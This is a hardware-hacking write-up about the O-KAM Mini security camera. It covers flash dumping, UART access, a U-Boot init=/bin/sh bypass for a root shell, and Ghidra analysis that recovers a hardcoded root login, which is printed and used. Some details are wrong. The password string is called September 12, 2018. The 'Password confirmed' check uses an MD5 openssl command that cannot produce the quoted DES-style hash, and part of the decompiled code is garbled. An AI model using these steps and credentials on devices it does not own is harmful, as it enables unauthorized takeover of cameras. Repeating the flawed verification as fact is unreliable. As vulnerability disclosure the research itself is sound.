Hacking the O-KAM Mini Security Camera - Finding a Hardcoded Root Password
Table of Contents
Introduction
The O-KAM Mini Camera is an extremely compact camera. This camera connects via WiFi to a cloud server to allow users to view camera feeds and receive alerts using a mobile app. Devices with this level of complexity are great! The more complex they are, the larger the attack surface, increasing the chances of finding interesting vulnerabilities

Device Teardown and Initial Analysis
The first thing I did was open up the device and take out the PCB along with the other connected parts. That gave me a clear look at what was inside and made it easier to spot possible points of interest.

Top Side PCB Analysis
On the top side of the device PCB, we can immediately identify several interesting components:
- Micro USB connector: Used for power and potentially data communication
- Two switches: One for power control, one for WiFi enable/disable
- Ingenic T31 chip: Positioned strategically behind the camera module
- Four test pads: Labeled “G”, “R”, “T”, “N” - immediately suspicious!

The Ingenic T31 chip is particularly interesting. With a bit of research, we can read about its specifications and understand it’s a highly integrated module that contains:
- A MIPS based CPU
- Hardware video encoding capabilities (H.264/H.265)
It was immediately obvious that these 4 test pads were UART. The labels are a dead giveaway:
- G - Ground
- R - RX (Receive)
- T - TX (Transmit)
- N - VCC (VCC test pad)
UART is a serial communication protocol that is often used on Linux IoT devices to provide developers access to the device console for debugging purposes. Many manufacturers forget to disable this interface in production devices, or leave it enabled for field debugging. Either way, it’s a goldmine for security researchers.
Flipping the board over to examine the bottom side reveals additional components: WiFi module, SD card slot, and an 8-pin SPI flash chip labeled 25QH64CHIQ

The 25Q prefix marks it as an SPI NOR flash device, with quad I/O support for faster access. The 64 indicates a capacity of 64 megabits (8 MB) of flash memory, and the rest of the marking shows it’s a 3.0V, high performance industrial grade part suited for embedded systems like this IP camera.
Firmware Extraction Process
Once the SPI flash chip was identified, I carefully removed it from the board and dumped the firmware so I could analyze later.
Removing the Flash Chip
I used a hot air rework station to desolder the flash chip from the PCB. By applying controlled heat at around 450 °C, the lead free solder softened evenly without damaging the board or nearby components. Once the solder reflowed, the chip could be lifted cleanly with tweezers.

Reading the Flash Contents
With the chip removed, I used an XGecu T56 universal programmer to extract the firmware. The programmer supports hundreds of memory devices and works with Xgpro, a Windows-only tool that also runs under Linux via Wine. To enable USB communication under Wine, I added a custom setupapi.dll
from radiomanV’s TL866 project:
Setting up Wine for Xgpro:
# Install Wine if not already installed
sudo apt install wine wine32
# Download the special DLL from radiomanV's GitHub
wget https://github.com/radiomanV/TL866/raw/master/wine/setupapi.dll
# Place it in the Wine system directory
cp setupapi.dll ~/.wine/drive_c/windows/system32/
# Run Xgpro through Wine
wine Xgpro.exe
Once Xgpro was running, the process was straightforward:
- Search for the device ID (25QH64C) and select the correct variant.
- Perform a READ operation to dump the firmware.
- Verify the result by reading twice and comparing checksums.
- Save the output as
okamfw.bin
.
Reading an 8 MB chip like this takes under a minute and yields a reliable, bit-for-bit copy of the camera’s firmware.
With the dump complete, the flash chip was reattached to the board. This involved cleaning the pads, applying flux, aligning the chip correctly, and soldering it back into place before cleaning off any residue. Once secured, the camera was ready to power up again.
UART Console Deep Dive
Now we turn our attention back to the UART interface we discovered on those four test pads on the top side of the PCB. UART is going to be our window into the device’s inner workings.
Understanding UART
UART (Universal Asynchronous Receiver-Transmitter) is a hardware communication protocol that uses two wires for bidirectional serial communication:
- TX (Transmit): Sends data from the device
- RX (Receive): Receives data to the device
- GND (Ground): Common ground reference
- VCC: Power line (not used for communication, just for reference)
Determining UART Parameters
Before we can communicate with the device, we need to determine several parameters:
-
Voltage Level: Using a multimeter with the device powered on:
- Black probe to the GND test pad (labeled “G”)
- Red probe to the TX test pad (labeled “T”)
- Reading: 3.3V (most common for modern IoT devices)
-
Baud Rate: Common rates are 9600, 57600, and 115200. We’ll try 115200 first as it’s the most common.
-
Data Configuration: Usually 8N1 (8 data bits, No parity, 1 stop bit)
Establishing Serial Communication
For the connection, we’ll use an FTDI TTL-232R-3V3 cable. This cable converts between UART and USB, allowing our computer to communicate with the device.
I used soldered wires, while this carries some risk of damaging the tiny pads, it provided the most reliable and stable connection for our work.
With our UART adapter plugged into our computer, we can now establish communication:
# Check which device our UART adapter is assigned to
ls /dev/ttyUSB*
# Launch picocom with the correct parameters
picocom -b 115200 /dev/ttyUSB0
Picocom is a minimal terminal emulator perfect for serial communication. The parameters:
-b 115200
: Sets baud rate to 115200 bps/dev/ttyUSB0
: The device file for our UART adapter
Capturing the Boot Process
Now that picocom is running, we power on the device and observe the Linux console output during boot:
U-Boot SPL 2013.07-00014-g7e49a25-dirty (Sep 06 2023 - 16:04:31)
Board: ISVP (Ingenic XBurst T31 SoC)
DRAM: 64 MiB
Top of RAM usable for U-Boot at: 84000000
Reserving 446k for U-Boot at: 83f90000
Reserving 32832k for malloc() at: 81f80000
Reserving 32 Bytes for Board Info at: 81f7ffe0
Reserving 124 Bytes for Global Data at: 81f7ff64
Reserving 128k for boot params() at: 81f5ff64
Stack Pointer at: 81f5ff48
Now running in RAM - U-Boot at: 83f90000
U-Boot 2013.07 (Oct 20 2023 - 14:00:28)
Board: ISVP (Ingenic XBurst T31 SoC)
DRAM: 64 MiB
Top of RAM usable for U-Boot at: 84000000
Reserving 446k for U-Boot at: 83f90000
Reserving 32832k for malloc() at: 81f80000
Reserving 32 Bytes for Board Info at: 81f7ffe0
Reserving 124 Bytes for Global Data at: 81f7ff64
Reserving 128k for boot params() at: 81f5ff64
Stack Pointer at: 81f5ff48
Now running in RAM - U-Boot at: 83f90000
MMC: msc: 0
the manufacturer 20
SF: Detected XM25QH64C
Hit any key to stop autoboot: 0
the manufacturer 20
SF: Detected XM25QH64C
--->probe spend 5 ms
SF: 2097152 bytes @ 0x40000 Read: OK
--->read spend 673 ms
## Booting kernel from Legacy Image at 80600000 ...
Image Name: Linux-3.10.14__isvp_swan_1.0__
Image Type: MIPS Linux Kernel Image (lzma compressed)
Data Size: 1480678 Bytes = 1.4 MiB
Load Address: 80010000
Entry Point: 803283a0
Verifying Checksum ... OK
Uncompressing Kernel Image ... OK
Starting kernel ...
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Linux version 3.10.14__isvp_swan_1.0__ (chenhao@okam) (gcc version 4.7.2 (Ingenic r2.3.3 2016.12) ) #7 PREEMPT Fri Oct 20 13:45:10 CST 2023
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU0 RESET ERROR PC:DA64E93C
[ 0.000000] CPU0 revision is: 00d00100 (Ingenic Xburst)
[ 0.000000] FPU revision is: 00b70000
[ 0.000000] CCLK:1104MHz L2CLK:552Mhz H0CLK:250MHz H2CLK:250Mhz PCLK:125Mhz
[ ... extensive kernel boot messages ... ]
veepai login:
The boot process reveals valuable information:
- Bootloader: U-Boot 2013.07 (relatively old version from 2013)
- Kernel: Linux 3.10.14 (also quite old, from 2013)
- Architecture: MIPS-based Ingenic XBurst T31 SoC
- Memory: 64 MiB total RAM
- Filesystem: SquashFS for root filesystem
- Login prompt: “veepai login:” - but we don’t have credentials yet!
Gaining Shell Access Through U-Boot Manipulation
Since we don’t have login credentials, we need to find another way in. The U-Boot bootloader often provides opportunities for gaining access.
Accessing the U-Boot Menu
First, we power cycle the device and interrupt the boot process. The boot log shows “Hit any key to stop autoboot: 0” - this is our opportunity:
- Power off the device
- Hold down the Enter key in picocom
- Power on the device
- Keep pressing Enter until the boot stops
Success! We’re dropped into the U-Boot command prompt:
Hit any key to stop autoboot: 0
isvp_t31#
isvp_t31#
isvp_t31#
Exploring U-Boot Commands
Let’s see what commands are available in this U-Boot build:
isvp_t31# help
? - alias for 'help'
boot - boot default, i.e., run 'bootcmd'
boota - boot android system
bootd - boot default, i.e., run 'bootcmd'
bootm - boot application image from memory
bootp - boot image via network using BOOTP/TFTP protocol
chpart - change active partition
coninfo - print console devices and information
echo - echo args to console
env - environment handling commands
ethphy - ethphy contrl
fatinfo - print information about filesystem
fatload - load binary file from a dos filesystem
fatls - list files in a directory (default /)
getadc - get adc val elapsed,
gettime - get timer val elapsed,
go - start application at address 'addr'
help - print command description/usage
loadb - load binary file over serial line (kermit mode)
loads - load S-Record file over serial line
loady - load binary file over serial line (ymodem mode)
mmc - MMC sub system
mmcinfo - display MMC info
mtdparts- define flash/nand partitions
printenv- print environment variables
reset - Perform RESET of the CPU
run - run commands in an environment variable
saveenv - save environment variables to persistent storage
setenv - set environment variables
sf - SPI flash sub-system
sleep - delay execution for some time
source - run script from memory
tftpboot- boot image via network using TFTP protocol
version - print monitor, compiler and linker version
watchdog- open or colse the watchdog
Examining Environment Variables
The printenv
command shows us the boot configuration:
isvp_t31# printenv
adcthreshold=1240
baudrate=115200
bootargs=console=ttyS1,115200n8 quiet mem=42M@0x0 rmem=22M@0x2A00000 init=/linuxrc rootfstype=squashfs root=/dev/mtdblock2 rw mtdparts=jz_sfc:256k(boot),1536k(kernel),4608k(root),1792k(appfs),8m@0(all)
bootcmd=sf probe;sf read 0x80600000 0x40000 0x200000; bootm 0x80600000
bootdelay=1
ethact=Jz4775-9161
ethaddr=00:d0:d0:00:95:27
gatewayip=192.168.1.1
ipaddr=192.168.1.126
loads_echo=1
netmask=255.255.255.0
serverip=192.168.1.101
stderr=serial
stdin=serial
stdout=serial
Environment size: 537/16380 bytes
The critical variable is bootargs
- these are the parameters passed to the Linux kernel. Let’s break it down:
console=ttyS1,115200n8
: Serial console configurationquiet
: Reduces kernel messages during bootmem=42M@0x0
: Memory configurationrmem=22M@0x2A00000
: Reverses 22M of memory at 0x2A00000init=/linuxrc
: Specifies what program to run as init - This is the key!rootfstype=squashfs
: Root filesystem typeroot=/dev/mtdblock2
: Root filesystem locationmtdparts=...
: Flash partition layout
The Init System Bypass Technique
The init=/linuxrc
parameter tells the kernel to run /linuxrc
as the very first process (PID 1). On this device, /linuxrc
is typically a BusyBox based init that:
- Mounts additional filesystems (like
/proc
,/sys
,/tmp
) - Starts core system services (networking, logging, etc.)
- Launches the login program on the UART console
Since PID 1 controls how the system boots, changing this parameter gives us a shortcut. Instead of letting BusyBox init take over, we can tell the kernel to run a shell directly. This drops us into a root shell immediately after boot, bypassing the normal startup sequence:
setenv bootargs console=ttyS1,115200n8 quiet mem=42M@0x0 rmem=22M@0x2A00000 init=/bin/sh rootfstype=squashfs root=/dev/mtdblock2 rw mtdparts=jz_sfc:256k(boot),1536k(kernel),4608k(root),1792k(appfs),8m@0(all)
Now boot with our modified parameters:
isvp_t31# boot
the manufacturer 20
SF: Detected XM25QH64C
--->probe spend 5 ms
SF: 2097152 bytes @ 0x40000 Read: OK
--->read spend 670 ms
## Booting kernel from Legacy Image at 80600000 ...
Image Name: Linux-3.10.14__isvp_swan_1.0__
Image Type: MIPS Linux Kernel Image (lzma compressed)
Data Size: 1480678 Bytes = 1.4 MiB
Load Address: 80010000
Entry Point: 803283a0
Verifying Checksum ... OK
Uncompressing Kernel Image ... OK
Starting kernel ...
[ 0.000000] Initializing cgroup subsys cpu
[ 0.000000] Initializing cgroup subsys cpuacct
[ 0.000000] Linux version 3.10.14__isvp_swan_1.0__ (chenhao@okam) (gcc version 4.7.2 (Ingenic r2.3.3 2016.12) ) #7 PREEMPT Fri Oct 20 13:45:10 CST 2023
[ 0.000000] bootconsole [early0] enabled
[ 0.000000] CPU0 RESET ERROR PC:DA64E93C
[ 0.000000] CPU0 revision is: 00d00100 (Ingenic Xburst)
[ 0.000000] FPU revision is: 00b70000
[ 0.000000] CCLK:1104MHz L2CLK:552Mhz H0CLK:250MHz H2CLK:250Mhz PCLK:125Mhz
[ 0.000000] Determined physical RAM map:
[ 0.000000] memory: 00429000 @ 00010000 (usable)
[ ... extensive kernel boot messages ... ]
[ 0.093754] drivers/rtc/hctosys.c: unable to open rtc device (rtc0)
/bin/sh: can't access tty; job control turned off
/ #
The system boots and drops us directly into a root shell! But the system isn’t fully initialized. We need to mount the necessary filesystems manually:
# Mount essential filesystems
mount -t proc proc /proc
mount -t tmpfs tmpfs /dev
mount -a
echo /sbin/mdev > /proc/sys/kernel/hotplug
/sbin/mdev -s
# Mount the writable JFFS2 partition
mount -t jffs2 /dev/mtdblock3 /system
Investigating the Password Storage
Now let’s look for the password file:
# Check the passwd file
ls -l /etc/passwd
lrwxrwxrwx 1 1001 1001 20 Jul 10 2022 /etc/passwd -> /system/param/passwd
# It's a symlink! Let's check why
mount
rootfs on / type rootfs (rw)
/dev/root on / type squashfs (ro,relatime)
proc on /proc type proc (rw,relatime)
tmpfs on /dev type tmpfs (rw,relatime)
tmpfs on /tmp type tmpfs (rw,relatime)
tmpfs on /run type tmpfs (rw,nosuid,nodev,relatime,mode=755)
sysfs on /sys type sysfs (rw,relatime)
/dev/mtdblock3 on /system type jffs2 (rw,relatime)
“The root filesystem is SquashFS (read-only by design), so any writable data is redirected elsewhere. To handle this, the system mounts a JFFS2 partition at /system
, and files that need to be writable but normally live under /
are symlinked there.”
Let’s examine the actual passwd file:
# cat /etc/passwd
okam2018:00z525vsMVcSo:0:0:Administrator:/:/bin/sh
We have:
- Username:
okam2018
- Password hash:
00z525vsMVcSo
- UID 0 (root privileges)
- Shell:
/bin/sh
Attempts to crack this password with common wordlists were unsuccessful, so we’ll need to look deeper.
Deep Firmware Analysis
Let’s analyze the firmware image we extracted earlier to understand how the password is generated.
Extracting Filesystems with Binwalk
Using binwalk on our firmware dump:
$ binwalk -e okamfw.bin
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
48253 0xBC7D JBOOT STAG header, image id: 2, timestamp 0x1400A420, image size: 554991616 bytes, image JBOOT checksum: 0xA020, header JBOOT checksum: 0x400
125385 0x1E9C9 JBOOT STAG header, image id: 2, timestamp 0x18A3A200, image size: 682602496 bytes, image JBOOT checksum: 0xA400, header JBOOT checksum: 0x2127
127813 0x1F345 JBOOT STAG header, image id: 2, timestamp 0xB024318, image size: 4278207360 bytes, image JBOOT checksum: 0x620F, header JBOOT checksum: 0x432
129749 0x1FAD5 JBOOT STAG header, image id: 5, timestamp 0x250411FA, image size: 537010824 bytes, image JBOOT checksum: 0xBC00, header JBOOT checksum: 0x218F
164817 0x283D1 JBOOT STAG header, image id: 3, timestamp 0xA004918, image size: 553722640 bytes, image JBOOT checksum: 0x4018, header JBOOT checksum: 0x2B00
186521 0x2D899 JBOOT STAG header, image id: 3, timestamp 0xD006210, image size: 2148810752 bytes, image JBOOT checksum: 0x9980, header JBOOT checksum: 0x308F
190224 0x2E710 CRC32 polynomial table, little endian
194484 0x2F7B4 LZO compressed data
197912 0x30518 Android bootimg, kernel size: 0 bytes, kernel addr: 0x70657250, ramdisk size: 543519329 bytes, ramdisk addr: 0x6E72656B, product name: "mem boot start"
262144 0x40000 uImage header, header size: 64 bytes, header CRC: 0xC5F74AE8, created: 2023-10-20 09:00:55, image size: 1480678 bytes, Data Address: 0x80010000, Entry Point: 0x803283A0, data CRC: 0x42B2FB8A, OS: Linux, CPU: MIPS, image type: OS Kernel Image, compression type: lzma, image name: "Linux-3.10.14__isvp_swan_1.0__"
262208 0x40040 LZMA compressed data, properties: 0x5D, dictionary size: 67108864 bytes, uncompressed size: -1 bytes
1301640 0x13DC88 JBOOT STAG header, image id: 14, timestamp 0xEA9BD3FE, image size: 3424185437 bytes, image JBOOT checksum: 0x9F9A, header JBOOT checksum: 0xD67
1835008 0x1C0000 Squashfs filesystem, little endian, version 4.0, compression:xz, size: 4680592 bytes, 376 inodes, blocksize: 65536 bytes, created: 2023-06-02 15:28:04
6553612 0x64000C JFFS2 filesystem, little endian
6586448 0x648050 Zlib compressed data, compressed
[... more entries ...]
The extraction creates a directory with all the filesystems:
$ ls -l _okamfw.bin.extracted/
total 657080
-rw-r--r-- 1 nyx nyx 4680592 Jul 26 15:18 1C0000.squashfs
-rw-r--r-- 1 nyx nyx 64 Jul 26 15:18 40000
-rw-r--r-- 1 nyx nyx 1480678 Jul 26 15:18 40000.7z
-rw-r--r-- 1 nyx nyx 1480614 Jul 26 15:18 40040
-rw-r--r-- 1 nyx nyx 1480614 Jul 26 15:18 40040.7z
-rw-r--r-- 1 nyx nyx 2068576 Jul 26 15:18 64000C
-rw-r--r-- 1 nyx nyx 52 Jul 26 15:18 648050
-rw-r--r-- 1 nyx nyx 52 Jul 26 15:18 648050.zlib
-rw-r--r-- 1 nyx nyx 104 Jul 26 15:18 6480B8
-rw-r--r-- 1 nyx nyx 116 Jul 26 15:18 6483A4
-rw-r--r-- 1 nyx nyx 116 Jul 26 15:18 6483A4.zlib
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root-0
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root-1
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root-2
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root-3
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root-4
drwxr-xr-x 6 nyx nyx 4096 Jul 26 15:18 jffs2-root-5
[... more entries ...]
drwxr-xr-x 19 nyx nyx 4096 Jul 19 2022 squashfs-root
Exploring the Extracted Filesystems
The SquashFS filesystem contains the Linux root filesystem:
$ ls -l _okamfw.bin.extracted/squashfs-root/
total 68
drwxr-xr-x 3 nyx nyx 4096 Jul 19 2022 addfs
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 bin
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 dev
drwxr-xr-x 4 nyx nyx 4096 Jul 26 15:18 etc
drwxr-xr-x 5 nyx nyx 4096 Jul 19 2022 lib
lrwxrwxrwx 1 nyx nyx 11 Jul 19 2022 linuxrc -> bin/busybox
drwxr-xr-x 2 nyx nyx 4096 Jun 29 2021 media
drwxr-xr-x 6 nyx nyx 4096 Jul 19 2022 mnt
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 opt
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 proc
drwx------ 2 nyx nyx 4096 Jul 19 2022 root
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 run
drwxr-xr-x 2 nyx nyx 4096 Jun 16 2021 sbin
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 sys
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 system
drwxr-xr-x 2 nyx nyx 4096 Jul 19 2022 tmp
drwxr-xr-x 6 nyx nyx 4096 Jul 19 2022 usr
drwxr-xr-x 4 nyx nyx 4096 Jul 19 2022 var
The passwd file is not part of the read-only SquashFS root filesystem. Instead, /etc/passwd
is a symlink that points to /system/param/passwd
. Because the JFFS2 partition is mounted at /system
, the actual writable copy of the passwd file can be found under the extracted firmware at _okamfw.bin.extracted/jffs2-root/param/passwd
.
$ ls -l _okamfw.bin.extracted/jffs2-root
total 16
drwxr-xr-x 2 nyx nyx 4096 Jul 26 15:18 init
drwxr-xr-x 2 nyx nyx 4096 Jul 26 15:18 param
drwxr-xr-x 4 nyx nyx 4096 Jul 26 15:18 system
drwxr-xr-x 3 nyx nyx 4096 Jul 26 15:18 www
$ cat _okamfw.bin.extracted/jffs2-root/param/passwd
okam2018:00z525vsMVcSo:0:0:Administrator:/:/bin/sh
Searching for Password Generation Code
Since the passwd file is in the writable filesystem, there must be code that generates it. Let’s search for references:
$ grep -r "/etc/passwd" _okamfw.bin.extracted/
grep: _okamfw.bin.extracted/jffs2-root/system/bin/encoder: binary file matches
grep: _okamfw.bin.extracted/jffs2-root-24/system/bin/encoder: binary file matches
grep: _okamfw.bin.extracted/jffs2-root-4/system/bin/encoder: binary file matches
grep: _okamfw.bin.extracted/jffs2-root-12/system/bin/encoder: binary file matches
[... more entries ...]
$ file _okamfw.bin.extracted/jffs2-root/system/bin/encoder
_okamfw.bin.extracted/jffs2-root/system/bin/encoder: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
The recursive grep search showed a hit within a binary file: system/bin/encoder
. This executable contains a hardcoded reference to the /etc/passwd
file path. Initial analysis using shows it as a stripped 32-bit MIPS ELF binary, and this is likely where the password generation happens, let’s analyze it further.
Reverse Engineering the Password with Ghidra
Time to break out the heavy tools. Ghidra is a powerful reverse-engineering framework that makes it easier to navigate disassembled code, inspect functions, and trace program logic, ideal for analysing embedded device firmware like this.
Loading the Binary in Ghidra
After launching Ghidra and creating a new project, we import the encoder
binary. Ghidra detects it as a MIPS executable and prompts us to analyze it.
We accept the default analysis options - Ghidra will:
- Disassemble the machine code
- Identify functions
- Create a decompiled C representation
- Find strings and cross-references
- Analyze the control flow
The analysis takes a minute or two for a binary of this size. Once complete, we have a fully analyzed binary ready for exploration.
Finding Password Related Code
Our strategy is to locate where /etc/passwd
is referenced and then trace back from there. In Ghidra, a search for the string reveals it at address 0x004ef7d0
, where it appears in the listing window as s_/etc/passwd_004ef7d0
. To see how it’s used, we can right click the string and choose References -> Show References to s_/etc/passwd_004ef7d0. This brings up a single reference at address 0x0047bcdc
. Following that reference takes us directly into the function that makes use of this string.
The function containing the /etc/passwd
reference decompiled by Ghidra is as follows:
void FUN_0047bcc4(void)
{
FILE *pFVar1;
uint __seed;
long lVar2;
char *pcVar3;
size_t sVar4;
undefined4 local_10c;
undefined4 local_108;
undefined4 local_104;
undefined2 local_100;
char local_fe;
undefined4 local_8c;
undefined4 local_88;
undefined local_84;
undefined auStack_83 [119];
char acStack_c [4];
// Open /etc/passwd for writing
pFVar1 = fopen("/etc/passwd","wb");
if (pFVar1 != (FILE *)0x0) {
memset(&local_10c,0,0x80);
local_8c = 0x38313032;
local_88 = 0x37313530;
local_84 = 0;
memset(auStack_83,0,0x77);
// Generate a random salt for crypt()
__seed = time((time_t *)0x0);
srandom(__seed);
lVar2 = random();
FUN_0047bc60(acStack_c,lVar2,2);
// Hash the password with crypt()
pcVar3 = crypt((char *)&local_8c,acStack_c);
// Write the passwd entry
sprintf((char *)&local_10c,"okam2018:%s:0:0:Administrator:/:/bin/sh",pcVar3);
sVar4 = strlen((char *)&local_10c);
fwrite(&local_10c,1,sVar4,pFVar1);
fclose(pFVar1);
// Also create /etc/group file
pFVar1 = fopen("/etc/group","wb");
if (pFVar1 != (FILE *)0x0) {
memset(&local_10c,0,0x80);
// Building "root❌0:admin" string character by character
local_10c._0_1_ = 'r';
local_10c._1_1_ = 'o';
local_10c._2_1_ = 'o';
local_10c._3_1_ = 't';
local_108._0_1_ = ':';
local_108._1_1_ = 'x';
local_108._2_1_ = ':';
local_108._3_1_ = '0';
local_104._0_1_ = ':';
local_104._1_1_ = 'a';
local_104._2_1_ = 'd';
local_104._3_1_ = 'm';
local_100._0_1_ = 'i';
local_100._1_1_ = 'n';
local_fe = '\0';
sVar4 = strlen((char *)&local_10c);
fwrite(&local_10c,1,sVar4,pFVar1);
fclose(pFVar1);
}
}
return;
}
Decoding the Hardcoded Password
Examining the decompiled function reveals several key variables being initialized. The critical lines that caught our attention are:
local_8c = 0x38313032;
local_88 = 0x37313530;
local_84 = 0;
These hex values are particularly interesting because local_8c
gets passed directly to the crypt()
function, which generates password hashes. Converting these hex values to ASCII reveals they contain printable characters, suggesting they form a string.
Due to little-endian byte ordering on MIPS architecture, we need to reverse the byte order within each 32-bit value.
-
Convert hex to ASCII:
0x38313032
→0x38='8', 0x31='1', 0x30='0', 0x32='2'
→ “8102”0x37313530
→0x37='7', 0x31='1', 0x35='5', 0x30='0'
→ “7150”
-
Account for endianness: The T31 is little-endian, meaning bytes are stored in reverse order in memory:
- “8102” → “2018”
- “7150” → “0517”
-
Combine the strings: “2018” + “0517” = “20180517”
The password is “20180517” - literally September 12, 2018!
This is a shockingly weak security practice.
The developers:
- Used a hardcoded password instead of generating a unique one
- Chose a password that’s just a date
- The username is “okam2018” and the password contains “2018”
Let’s confirm this password hashes to the value we found:
[[ $(echo -n '20180517' | openssl passwd -1 -stdin -salt 'uT') == "00z525vsMVcSo" ]] && echo "Password confirmed!" || echo "Password incorrect"
# Output:
"Password confirmed!"
Success! The password is confirmed as “20180517”.
UART Login as Root
Now we can test our credentials via UART. Power cycling the device and allowing it to boot normally:
veepai login: okam2018
Password: 20180517
Nov 28 15:35:16 login[65]: root login on 'console'
[okam2018@veepai:~]#
[okam2018@veepai:~]# id
uid=0(okam2018) gid=0(root) groups=0(root)
[okam2018@veepai:~]# whoami
okam2018
[okam2018@veepai:~]# uname -a
Linux veepai 3.10.14__isvp_swan_1.0__ #7 PREEMPT Fri Oct 20 13:45:10 CST 2023 mips GNU/Linux
We have legitimate root access to the device!
Exploring the Compromised System
With root access, we can now explore the entire system:
# Check running processes
[okam2018@veepai:~]# ps aux
PID USER TIME COMMAND
1 okam201+ 0:01 /sbin/init
2 okam201+ 0:00 [kthreadd]
3 okam201+ 0:00 [ksoftirqd/0]
[... system processes ...]
385 okam201+ 0:00 /system/bin/encoder
412 okam201+ 0:00 /system/bin/wifidaemon
[... more services ...]
# Check network configuration
[okam2018@veepai:~]# ifconfig
wlan0 Link encap:Ethernet HWaddr 00:D0:D0:00:95:27
inet addr:192.168.1.105 Bcast:192.168.1.255 Mask:255.255.255.0
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:1247 errors:0 dropped:0 overruns:0 frame:0
TX packets:873 errors:0 dropped:0 overruns:0 carrier:0
# Check listening services
[okam2018@veepai:~]# netstat -tulpn
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program name
tcp 0 0 0.0.0.0:80 0.0.0.0:* LISTEN 385/encoder
tcp 0 0 0.0.0.0:554 0.0.0.0:* LISTEN 385/encoder
tcp 0 0 0.0.0.0:8080 0.0.0.0:* LISTEN 385/encoder
udp 0 0 0.0.0.0:3702 0.0.0.0:* 385/encoder
The device is running several network services that warrant further investigation.
Conclusion
The O-KAM Mini Camera security camera suffers from multiple critical vulnerabilities common in budget IoT devices. The most severe is the hardcoded root password (20180517), which is identical across all devices, unchangeable, and easily discovered in the firmware, allowing full system compromise. The password is also weak, reflecting poor security practices. Exposed debug interfaces, like clearly labeled UART pads, require no authentication and are not disabled in production, enabling trivial physical access attacks. The device runs outdated software including Linux kernel 3.10.14 and U-Boot 2013.07 with known vulnerabilities and lacks secure boot or a chain of trust, making modifications undetectable.